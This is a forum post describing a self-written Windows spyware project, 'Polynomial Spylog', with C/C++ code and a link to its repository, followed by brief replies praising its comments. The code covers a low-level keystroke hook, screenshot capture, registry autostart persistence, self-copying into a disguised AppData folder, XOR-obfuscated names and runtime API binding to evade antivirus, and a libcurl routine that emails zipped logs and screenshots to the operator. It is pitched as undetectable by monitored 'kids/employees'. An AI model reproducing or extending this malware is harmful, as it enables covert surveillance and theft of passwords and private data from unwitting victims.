Writing My first SpyWare for learning C/C++

Hi All,
I have created my first ever Spyware in C/C++ (I have named it Polynomial Spylog) . I have created this as a project to learn more C/C++. My intention is not to use this for malicious purposes but just for learning purposes.
Although I already have good knowledge of both of these languages but I mostly wrote algorithms and data structures implementation programs in these languages (Basically I mostly write C/C++ codes in competitive programming).
But, I wanted to implement something that will work in real time. So I decided to create this project.


  1. This Spyware will work only in Windows OS.
  2. All major Function names and registry names are XOR encoded to avoid AV static detection.
  3. To decode encoded names, use “DecryptXOR” Function provided along with 4 as a “Key”.


. **Discrete/Tamper Proof :**By design, Advance Keylogger is undetectable and thus cannot be tampered with or removed by kids/employees .

. Keystrokes Typed: See every keystroke typed even if it is deleted. This keystroke logger feature provides a reader-friendly version of all keystrokes logged along with the raw keylogging activity so you can see every detail.

. Continuous Screenshots: will Capture desktop screen-shots after a given 7 seconds (u are free to change time interval according to requirements).

. Email Sending: Screenshot and keylogger Logfile which contain sensitive user information send to registered email (Gmail only) (Mobile/Web/System). Script to send email is also written in C++.

. AutoStart : Keylogger has functionality to auto execute on system bootup. It Insert entry on system start-up program when it is running.

. AutoCopy : Keylogger has functionality to auto copy in %appdata%/roaming/Microsoft/CLR (The directory will be created at the time of first time execution).

CODE EXPLAINATION (I will only explain main functions):-

  1. Function to automatically copy Exe file to %app% folder.
void AutoCopy() {

	userlc = IO::GetOurPath(true);//Creating directory
	string f_path = userlc;
	string f_name = f_path;
	char encrName[] = "wrglkwp*a|a"; //XOR encoded Exe name. 
	DecryptXOR((char*)encrName, strlen(encrName), encryption_key);
	f_name += string(encrName);//file name
	char my_name[260];
	GetModuleFileNameA(GetModuleHandle(0), my_name, 260);//name of running process
	string f_my = my_name;
	CreateDirectoryA(f_path.c_str(), NULL);
	CopyFileA(f_my.c_str(), f_name.c_str(), FALSE);

  1. Function for autorun.
    This is easy function do I will not explain the whole function code here. This function is just writing Exe file path to registry key to register it for auto start.
    I will only explain function pointer names used in this function.
    pRgOpn, pRgSet and pRgClose are registry key function pointers. All Functions are from “Advapi32.dll” Library.
    I have used function pointers to call them directly from DLL to implement runtime function binding (again, Because of AV issues).

Function pointer for RegOpenKeyExW:-

typedef LSTATUS(__stdcall* pRgOpn)(
	IN           HKEY,
	IN           DWORD,
	IN           REGSAM,
	OUT          PHKEY

Function pointer for RegSetValueExA:-

typedef LSTATUS(__stdcall* pRgSet)(
	IN           HKEY,
	IN          LPCSTR,
	DWORD      Reserved,
	IN           DWORD,
	IN           const BYTE*,
	IN           DWORD

Function pointer for RegCloseKey:-

typedef LSTATUS(__stdcall* pRgClose)(
	IN           HKEY
  1. Creating hook procedure to intercept Key board events.
HHOOK eHook = NULL;//The is a handle to hook variable

static bool InstallHook() {

    A hook is a mechanism by which an application can intercept events, such as messages, mouse actions, and keystrokes.
    A function that intercepts a particular type of event is known as a hook procedure.
    A hook procedure can act on each event it receives, and then modify or discard the event.

    Helper::WriteAppLog("Hook started... Timer started");
    eHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)OurKeyboardProc, GetModuleHandle(NULL), 0);
    return eHook == NULL;
    /*WH_KEYBOARD :- we use Keyboard hook, LL means Low level
    OurKeyboardProc = Procedure invoked by the hook system when every time user pressed the key on keyboard
    we are converting this because SetWindowsHookEx accept handle to hook procedure

Key board Hook Procedure. I have explained most of the things in code comments.

LRESULT OurKeyboardProc(int nCode, WPARAM wparam, LPARAM lparam) {//This function will be called everytime a key is pressed on keyboard
    Helper::WriteAppLog(" In Keyboard Proc Func");
    if (nCode < 0) {
        CallNextHookEx(eHook, nCode, wparam, lparam);

    KBDLLHOOKSTRUCT* kbs = (KBDLLHOOKSTRUCT*)lparam;//KBDLLHOOKSTRUCT have to see on internet

    if (wparam == WM_KEYDOWN || wparam == WM_SYSKEYDOWN) {//This is just pressing the key and holding it..not pressing the key and releasing the key
        keylog += Keys::KEYS[kbs->vkCode].Name;
        if (kbs->vkCode == VK_RETURN) {
            keylog += '\n';
    else if (wparam == WM_KEYUP || wparam == WM_SYSKEYUP) {//This is for that keys are released after pressing
       //we are only interested in releasing of special keys like shift
       //we want to store like [shift(pressed)][a][b][/shift(released)]
       // so we will know what letters was pressed while key shift was pressed
        DWORD key = kbs->vkCode;
        if (key == VK_CONTROL || key == VK_LCONTROL || key == VK_RCONTROL || key == VK_SHIFT
            || key == VK_LSHIFT || key == VK_RSHIFT || key == VK_MENU || key == VK_LMENU
            || key == VK_RMENU || key == VK_CAPITAL || key == VK_NUMLOCK || key == VK_LWIN || key == VK_RWIN) {
            std::string KeyName = Keys::KEYS[kbs->vkCode].Name;
            KeyName.insert(1, "/");//appending back slash to represent release of key
            keylog += KeyName;
    std::string last_file_name = IO::Writelog(keylog); //Writing Actual Key Logs to file.
    //keyLogsAll += keylog;
    keylog = "";
    return CallNextHookEx(eHook, nCode, wparam, lparam);

  1. Function to Send Mail after specified interval time.
    This is a large Function but this is an easy Functions. I will only explain main parts from this Function .
    Please let me know in comments if anyone found something not understandable in this function.

std::string txtkeyLogFile = std::string(LOG_FILE); //Getting Log file name with path.
std::string attachs = IO::GetOurPath(true) + last_file + "::" + fullPathOfImage1; // making attachment string by appending attachments paths

TCHAR txtFileNameToAttach[MAX_PATH];
_tcscpy_s(txtFileNameToAttach, CA2T(txtkeyLogFile.c_str()));
//ZipAdd Function  accepts TCHAR parameter, so converting Log file path string to TCHAR and copying attachments string to TCHAR variable.
ZipAdd(hz, txtFileNameToAttach, txtFileNameToAttach); //Adding Log File in Zip File.

//Adding all images from imgFileNames vector to Zip File
for (long I = 0; I < imgFileNames.size(); i++) {
	TCHAR imgFileToAttach[MAX_PATH];
	_tcscpy_s(imgFileToAttach, CA2T(imgFileNames[i].c_str()));
	ZipAdd(hz, imgFileToAttach, imgFileToAttach);

//API Function  to send mail with attachments using CURL (will explain this function later) .
curlSendMail::sendFinalmail(_TO, _FROM, username,  _PASSWORD, zipfileWithPath, std::string(ZIP_FILE));

if (dwFileSize >= 1000000) { //clear the file if file size become greater than 1 MB
	ofstream myfile;
	if (myfile.is_open()) {
		myfile << ""; //Emptying the file
		oldSize = 0;
  1. Function to Capture screen shots.
    All the functionality of Screenshot capturing is written in “Screenshots.h” file.
    Function is little large so I am not explaining it here. However, it is using Windows API GDI and DC to create Bitmaps of screen pixels and save them in app folder.

  2. Function to send mail with attachment
    There are Couple of functions I have written for this purpose. However, I will explain only main function here.

namespace curlSendMail {
    int sendFinalmail(std::string _ToEMail, std::string _FromEMail, std::string& _loginUserName, std::string& _loginPassword, 
        std::string& _FileNameWithPath, const std::string& _fileNameWithoutPath = "attachement.zip")
        TO = std::move(_ToEMail);
        FROM = std::move(_FromEMail);
        FILENAME = std::move(_FileNameWithPath);
        char currDir[MAX_PATH_SZ];
        GetCurrentDirectoryA(MAX_PATH_SZ, currDir);

        std::string FULL_FILENAME = FILENAME;

        std::string fullFilePath = std::string(currDir) + "\\" + _fileNameWithoutPath;

        CopyFileA(FULL_FILENAME.c_str(), fullFilePath.c_str(), FALSE);

        CURL* curl;
        CURLcode res = CURLE_OK;
        struct curl_slist* recipients = NULL;
        struct fileBuf_upload_status file_upload_ctx;
        size_t file_size(0);

        file_upload_ctx.lines_read = 0;

        curl = curl_easy_init();
        file_size = read_file();
        if (curl)
            curl_easy_setopt(curl, CURLOPT_USERNAME, _loginUserName.c_str()); //setting Gmail username
            curl_easy_setopt(curl, CURLOPT_PASSWORD, _loginPassword.c_str()); //settings Gmail password
            curl_easy_setopt(curl, CURLOPT_URL, "smtp://smtp.gmail.com:587"); //Gmail's smtp address
            curl_easy_setopt(curl, CURLOPT_USE_SSL, (long)CURLUSESSL_ALL);
            //curl_easy_setopt(curl, CURLOPT_CAINFO, "google.pem");
            curl_easy_setopt(curl, CURLOPT_MAIL_FROM, FROM.c_str()); //Sender email address
            recipients = curl_slist_append(recipients, TO.c_str()); 
            curl_easy_setopt(curl, CURLOPT_MAIL_RCPT, recipients); //Recipient Email address
            curl_easy_setopt(curl, CURLOPT_INFILESIZE, file_size); 
            curl_easy_setopt(curl, CURLOPT_READFUNCTION, fileBuf_source);
            curl_easy_setopt(curl, CURLOPT_READDATA, &file_upload_ctx);
            curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L); //flag to indicate attachment
            curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); //Don’t display Curl Connection data Change 1L to 0

            res = curl_easy_perform(curl);

            if (res != CURLE_OK)
                fprintf(stderr, "curl_easy_perform() failed: %s\n", curl_easy_strerror(res));
        delete[] fileBuf;
        return (int)res;

Thats it. However, There are couple of other functions also that I have not mentioned here. I have implemented multithreading so that both screenshot capturing and key log saving tasks can be executed parallelly.
Please note that this is my first technical writeup so apologies for any mistakes. Please do mention in “reply” any improvements and suggestions. I will take care of them in my future writeups.
Further, Please point out any mistakes or suggestions or any improvements in this project. I will rectify them.
Please feel free to contribute to this project. I have mentioned GitHub link of this project (my GitHub account is with my real name LOL).
Please don’t use this tool for malicious activities. I am not responsible for any of the activities performed by anyone using this tool.

Github Link:- GitHub - ravijotsingh58/polynomial-spylog: Keylogger is 100% invisible keylogger not only for users, but also undetectable by antivirus software. polynomial spylog Monitors all keystokes. It has a seperate process which continues capture system screenshot and send to registered gmail in given time.

And Always Love C and C++


How long have you been learning C++? And what resources did you use to learn?

1 Like

I also want to know this, looks great.

1 Like

Apologies if the question is beginner but
in helper.h we have a comment
// time starts from 1970 in UNIX
yet the code is

y = 1900 + info->tm_year;

I think you got a typo there also a typo on keyhook.h line 121 comment

I love how much this is commented by the way!
As someone who is just learning this is way more interesting with lots of descriptive commenting
Good work!

1 Like

This topic was automatically closed after 121 days. New replies are no longer allowed.